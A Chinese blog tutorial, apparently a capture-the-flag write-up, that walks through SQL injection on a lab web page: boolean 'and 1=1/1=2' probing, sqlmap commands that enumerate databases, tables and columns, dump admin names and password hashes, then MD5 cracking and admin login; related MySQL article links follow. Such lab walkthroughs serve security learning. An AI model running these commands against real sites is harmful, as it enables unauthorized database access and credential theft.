sqlmap注入圖文詳解
更新時(shí)間：2021年08月11日 15:18:43 作者：徐林2333
sqlmap 是一個(gè)自動(dòng)SQL 射入工具。本文收集了一些利用Sqlmap做注入測(cè)試的TIPS，其中也包含一點(diǎn)繞WAF的技巧，便于大家集中查閱，希望能給你帶來(lái)幫助
1.發(fā)現(xiàn)此網(wǎng)址可能存在sql注入漏洞，我們進(jìn)行sql盲注入測(cè)試一下是否存在漏洞。
地址欄輸入 and 1=1 發(fā)現(xiàn)頁(yè)面正常顯示。
再次輸入and 1=2 頁(yè)面出現(xiàn)錯(cuò)誤，說(shuō)明該頁(yè)面可能存在sql注入漏洞
2.現(xiàn)在拿出我們的kali工具，sqlmap進(jìn)行注入測(cè)試。
sqlmap -u http://219.153.49.228:49634/new_list.php?id=1 --dbs
3.可以看到存在注入漏洞，掃到了5個(gè)數(shù)據(jù)庫(kù)。要獲取管理員用戶密碼，我們可以先從stormgroup注入。查看stormgroup這個(gè)數(shù)據(jù)庫(kù)存在的表單
sqlmap -u http://219.153.49.228:49634/new_list.php?id=1 -D stormgroup -tables
4.接下來(lái)查一下member中存在哪些列。
sqlmap -u http://219.153.49.228:49634/new_list.php?id=1 -D stormgroup -T member --columns
5.上一步可以看到，name,password 是不是很熟悉。ok接下來(lái)我們開始獲取這兩列的數(shù)據(jù)。
6.可以看到password是經(jīng)過(guò)md5加密，接下來(lái)我們把他解密。這里推薦給大家我自己收集的多種解密網(wǎng)址：解密網(wǎng)址大全點(diǎn)擊這里
7.now! 密碼已經(jīng)呈現(xiàn)在我們眼前?。。?！找到后臺(tái)地址進(jìn)行登錄。
8.END 登錄成功，拿到flag，提交。Gameover ！
總結(jié)
本篇文章就到這里了，希望能給你帶來(lái)幫助，也希望您能夠多多關(guān)注腳本之家的更多內(nèi)容！
相關(guān)文章
Windows下MySQL服務(wù)啟動(dòng)常見(jiàn)的兩種方式(適配5.7和8.0)
本文主要介紹了Windows下MySQL服務(wù)啟動(dòng)常見(jiàn)的兩種方式(適配5.7和8.0),文中通過(guò)圖文介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面隨著小編來(lái)一起學(xué)習(xí)學(xué)習(xí)吧2024-07-07
這篇文章主要介紹了MySQL Workbench的使用方法(圖文) ,需要的朋友可以參考下2016-02-02
淺析centos 7 mysql-8.0.19-1.el7.x86_64.rpm-bundle.tar
這篇文章主要介紹了centos 7 mysql-8.0.19-1.el7.x86_64.rpm-bundle.tar的相關(guān)知識(shí),需要的朋友可以參考下2020-01-01
MySQL5.1主從同步出現(xiàn)Relay log read failure錯(cuò)誤解決方法
這篇文章主要介紹了MySQL5.1主從同步出現(xiàn)Relay log read failure錯(cuò)誤解決方法,需要的朋友可以參考下2014-07-07
對(duì)MySQL 如何查找刪除重復(fù)行好奇得小伙伴想必也知道MySQL 操作刪除重復(fù)行，難免有時(shí)會(huì)需要查看被刪除的重行，今天小編就來(lái)給大家詳解，感興趣的小伙伴可以參考下面的文章內(nèi)容2021-09-09
Ubuntu 18.04配置mysql以及配置遠(yuǎn)程連接的步驟
這篇文章主要給大家介紹了關(guān)于Ubuntu 18.04配置mysql以及配置遠(yuǎn)程連接的相關(guān)資料，文中通過(guò)示例代碼介紹的非常詳細(xì)，對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值，需要的朋友們下面隨著小編來(lái)一起學(xué)習(xí)學(xué)習(xí)吧2018-07-07
mysql中影響數(shù)據(jù)庫(kù)性能的因素講解
在本篇文章中我們給大家講述了mysql中影響性能的因素以及相關(guān)知識(shí)點(diǎn)內(nèi)容，有興趣的朋友參考下。2018-09-09
隨著應(yīng)用對(duì)事務(wù)完整性和并發(fā)性要求的不斷提高,MySQL才開始開發(fā)基于事務(wù)的存儲(chǔ)引擎,下面這篇文章主要給大家介紹了關(guān)于MySQL表鎖、行鎖、排它鎖及共享鎖使用的相關(guān)資料,需要的朋友可以參考下2022-04-04
mysql5.7及mysql 8.0版本修改root密碼的方法小結(jié)
這篇文章主要介紹了mysql5.7及mysql 8.0版本修改root密碼方式 ,非常不錯(cuò)，具有一定的參考借鑒價(jià)值，需要的朋友可以參考下2018-11-11
深入了解mysql的4種常用、重要的數(shù)據(jù)類型
對(duì)于在開發(fā)大型電子商務(wù)網(wǎng)站時(shí)，如果碰到有限的硬件和系統(tǒng)環(huán)境情況下，合理的數(shù)據(jù)庫(kù)表結(jié)構(gòu)的設(shè)計(jì)是必不可少的2014-05-05